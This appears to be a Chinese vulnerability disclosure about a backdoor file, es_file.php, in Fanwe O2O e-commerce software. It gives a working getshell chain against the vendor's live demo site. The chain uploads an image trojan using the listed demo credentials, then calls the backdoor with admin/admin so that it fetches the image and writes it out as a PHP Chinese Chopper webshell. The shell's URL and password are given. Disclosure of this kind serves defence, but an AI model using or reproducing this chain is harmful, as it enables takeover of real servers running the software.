### 简要描述：
用户好像不太多，但基本都有这个后门文件
### 详细说明：
后门文件路径 /es_file.php
官网介绍 http://www.fanwe.com/o2o
前台演示地址:http://o2o.fanwe.net/
会员账号：fanwe 密码：fanwe
http://o2o.fanwe.net/index.php?ctl=uc_center
分享处上传图片马
[<img src="https://images.seebug.org/upload/201404/17111457b82055c8e0000d641423f259af6f039e.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/17111457b82055c8e0000d641423f259af6f039e.jpg)
F12去掉尺寸，得到图片马地址
http://o2o.fanwe.net/public/comment/201404/17/10/1acafed8eeffa043489a4321b877e36690.jpg
Getshell
http://o2o.fanwe.net/es_file.php?username=admin&password=admin&act=0&file=http://o2o.fanwe.net/public/comment/201404/17/10/1acafed8eeffa043489a4321b877e36690.jpg&path=abe&name=aaa.php
菜刀一句话，密码 c
http://o2o.fanwe.net/public/abeaaa.php
[<img src="https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg)
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg)
京公网安备 11010502034610号
暂无评论